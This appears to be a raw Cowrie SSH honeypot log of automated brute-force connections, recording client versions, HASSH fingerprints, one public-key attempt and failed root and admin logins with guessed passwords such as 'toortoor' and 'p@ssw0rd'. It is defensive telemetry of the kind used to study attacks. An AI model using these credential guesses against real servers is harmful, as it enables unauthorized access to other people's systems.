{"eventid":"cowrie.session.connect","src_ip":"94.26.106.31","src_port":34008,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bf3ef425a08","protocol":"ssh","message":"New connection: 94.26.106.31:34008 (10.17.0.5:22) [session: 0bf3ef425a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:05:55.797625Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:05:55.803814Z","src_ip":"94.26.106.31","session":"0bf3ef425a08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.31","src_port":34024,"dst_ip":"10.17.0.5","dst_port":22,"session":"60d9cf1e2478","protocol":"ssh","message":"New connection: 94.26.106.31:34024 (10.17.0.5:22) [session: 60d9cf1e2478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:05:55.979255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:05:55.984660Z","src_ip":"94.26.106.31","session":"60d9cf1e2478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:05:56.073882Z","src_ip":"94.26.106.31","session":"60d9cf1e2478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p@ssw0rd","message":"login attempt [admin/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:05:56.257128Z","src_ip":"94.26.106.31","session":"60d9cf1e2478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:05:57.350303Z","src_ip":"94.26.106.31","session":"60d9cf1e2478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":41760,"dst_ip":"159.203.135.109","dst_port":22,"session":"3707ee0938e8","protocol":"ssh","message":"New connection: 152.53.22.186:41760 (159.203.135.109:22) [session: 3707ee0938e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:06.825503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:06.830892Z","src_ip":"152.53.22.186","session":"3707ee0938e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:06.922120Z","src_ip":"152.53.22.186","session":"3707ee0938e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2012","message":"login attempt [root/server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:07.316882Z","src_ip":"152.53.22.186","session":"3707ee0938e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:08.410996Z","src_ip":"152.53.22.186","session":"3707ee0938e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":42158,"dst_ip":"10.17.0.5","dst_port":22,"session":"92710338b8f6","protocol":"ssh","message":"New connection: 57.128.223.80:42158 (10.17.0.5:22) [session: 92710338b8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:16.935815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:16.941339Z","src_ip":"57.128.223.80","session":"92710338b8f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:17.049695Z","src_ip":"57.128.223.80","session":"92710338b8f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vasadmin","password":"vasadmin","message":"login attempt [vasadmin/vasadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:17.511211Z","src_ip":"57.128.223.80","session":"92710338b8f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:18.621210Z","src_ip":"57.128.223.80","session":"92710338b8f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":38270,"dst_ip":"10.17.0.5","dst_port":22,"session":"160eefe7e539","protocol":"ssh","message":"New connection: 103.15.226.202:38270 (10.17.0.5:22) [session: 160eefe7e539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:45.965743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:45.970886Z","src_ip":"103.15.226.202","session":"160eefe7e539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:46.218672Z","src_ip":"103.15.226.202","session":"160eefe7e539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qa@WS3ed","message":"login attempt [root/1qa@WS3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:46.958357Z","src_ip":"103.15.226.202","session":"160eefe7e539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:48.212841Z","src_ip":"103.15.226.202","session":"160eefe7e539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":47596,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd82b889538a","protocol":"ssh","message":"New connection: 152.53.22.186:47596 (159.203.135.109:22) [session: fd82b889538a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:57.582480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:57.589598Z","src_ip":"152.53.22.186","session":"fd82b889538a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:57.672145Z","src_ip":"152.53.22.186","session":"fd82b889538a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@456","message":"login attempt [root/admin@456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:58.028107Z","src_ip":"152.53.22.186","session":"fd82b889538a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:06:59.115106Z","src_ip":"152.53.22.186","session":"fd82b889538a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":24734,"dst_ip":"159.203.135.109","dst_port":22,"session":"936d72d84dbb","protocol":"ssh","message":"New connection: 113.190.252.123:24734 (159.203.135.109:22) [session: 936d72d84dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:23.641350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:23.683519Z","src_ip":"113.190.252.123","session":"936d72d84dbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:24.170173Z","src_ip":"113.190.252.123","session":"936d72d84dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toortoor","message":"login attempt [root/toortoor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:26.325780Z","src_ip":"113.190.252.123","session":"936d72d84dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:27.856138Z","src_ip":"113.190.252.123","session":"936d72d84dbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.61.155","src_port":45790,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ddb99e2589f","protocol":"ssh","message":"New connection: 68.235.61.155:45790 (10.17.0.5:22) [session: 9ddb99e2589f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:37.852062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:37.856385Z","src_ip":"68.235.61.155","session":"9ddb99e2589f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:37.886774Z","src_ip":"68.235.61.155","session":"9ddb99e2589f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:9a:7a:d7:5c:6f:d6:cb:e9:3c:ba:46:73:f6:3a:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc4F9TAl8TuJAHqzp3ddjW6XoLBr5ST6pDmMR9CI/INZC/2pztxUoMTwI76t1PE0tc1Qup2SzmEMQhs+4Lf9gw/NXcAFNr//+xPTWo3Ob/RQlxoWGul+LHAd3CIrLFFNukkuJ1qXa71E5dCbAMiEFdRjrlQBrHG72s7qDbrbd7V9tw5tZE5aa97CNupbeWxa7c+Zx/aiz+3JeBOLUVlTGQkkLNpYO6Wr+mYujC2Lnmf3N5DpeF7lLAkndVnhH/7H+z+3+6VxENul7CeAqeij+iK4fNEC92VruTMgXrPfjcMF5TceYHDNn7pJCCoPOYb7LyjW3PElejhzhS1z+aOUeH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:9a:7a:d7:5c:6f:d6:cb:e9:3c:ba:46:73:f6:3a:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:38.016425Z","src_ip":"68.235.61.155","session":"9ddb99e2589f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:9a:7a:d7:5c:6f:d6:cb:e9:3c:ba:46:73:f6:3a:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc4F9TAl8TuJAHqzp3ddjW6XoLBr5ST6pDmMR9CI/INZC/2pztxUoMTwI76t1PE0tc1Qup2SzmEMQhs+4Lf9gw/NXcAFNr//+xPTWo3Ob/RQlxoWGul+LHAd3CIrLFFNukkuJ1qXa71E5dCbAMiEFdRjrlQBrHG72s7qDbrbd7V9tw5tZE5aa97CNupbeWxa7c+Zx/aiz+3JeBOLUVlTGQkkLNpYO6Wr+mYujC2Lnmf3N5DpeF7lLAkndVnhH/7H+z+3+6VxENul7CeAqeij+iK4fNEC92VruTMgXrPfjcMF5TceYHDNn7pJCCoPOYb7LyjW3PElejhzhS1z+aOUeH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:07:38.020323Z","src_ip":"68.235.61.155","session":"9ddb99e2589f","protocol":"ssh"}
